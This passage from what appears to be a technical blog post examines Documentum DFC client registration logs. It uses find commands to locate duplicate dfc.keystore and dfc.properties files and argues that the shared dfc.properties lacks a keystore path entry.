PtQdgfasysgVkIqCZ70zAXd5ARC4CXEwfhj6v/eq7X3CM4KCP4TiPqmzzapsLPn3
i0Or+fnwrOy/rYybndj0pgpnCbtinUZ7ZXmVtWDevMWey/Q=
-----END CERTIFICATE-----
10:25:57,280  INFO [main] com.documentum.fc.client.security.impl.DfcIdentityPublisher - found client registration: false
10:25:57,659  INFO [main] com.documentum.fc.client.security.impl.IpAndRcHelper - filling a new registration record for dfc_xxpa7jhtGFkRfHvrQmUIyaffxlka
10:25:57,672  INFO [main] com.documentum.fc.client.security.impl.DfcIdentityPublisher - [DFC_SECURITY_GR_REGISTRATION_PUBLISH] this dfc instance is now published in the global registry DCTM_PSQL
10:25:57,695  INFO [main] com.documentum.fc.client.security.impl.DfcRightsCreator - assigning rights to all roles for this client on DCTM_PSQL
10:25:57,701  INFO [main] com.documentum.fc.client.security.impl.DfcRightsCreator - found client rights: false
10:25:57,733  INFO [main] com.documentum.fc.client.security.impl.DfcIdentityPublisher - found client registration: true
10:25:57,746  INFO [main] com.documentum.fc.client.security.impl.DfcRightsCreator - found client rights: false
10:25:57,989  INFO [main] com.documentum.fc.client.security.impl.IpAndRcHelper - filling a new rights record for dfc_xxpa7jhtGFkRfHvrQmUIyaffxlka
10:25:58,015  INFO [main] com.documentum.fc.client.security.impl.DfcRightsCreator - [DFC_SECURITY_DOCBASE_RIGHTS_REGISTER] this dfc instance has now escalation rights registered with docbase DCTM_PSQL

How many dfc.keystore files do we have?

~]$ find /u01/documentum/cs/ -name dfc.keystore
/u01/documentum/cs/shared/config/dfc.keystore
.../ServerApps.ear/APP-INF/classes/dfc.keystore
.../com.emc.ide.external.dfc_1.0.0/documentum.config/dfc.keystore

How many dfc.properties files do we have?

~]$ find /u01/documentum/cs/ -name dfc.properties
/u01/documentum/cs/shared/config/dfc.properties
.../ServerApps.ear/APP-INF/classes/dfc.properties
.../com.emc.ide.external.dfc_1.0.0/documentum.config/dfc.properties

You might say the second one (JMS’s) is not actually dfc.properties because it looks like:

#include /u01/documentum/cs/shared/config/dfc.properties
dfc.bof.classloader.enable_extension_loader_first=false

but it is, moreover dfc.config.file read-only property defines the path to dfc.properties file, and dfc.config.dir read-only property defines the directory containing dfc.properties file. Now, the only option which default value depends on dfc.config.dir is:

# Fully qualified file name of the keystore file holding the PKI credentials for 
# DFC. 
# 
# Defaults to dfc.keystore in the same directory where the property file 
# (dfc.properies) is found.                                                     
# 
dfc.security.keystore.file = ${dfc.config.dir}/dfc.keystore

I think it is obvious that $DOCUMENTUM_SHARED/config/dfc.properties is misconfigured because it lacks dfc.security.keystore.file entry.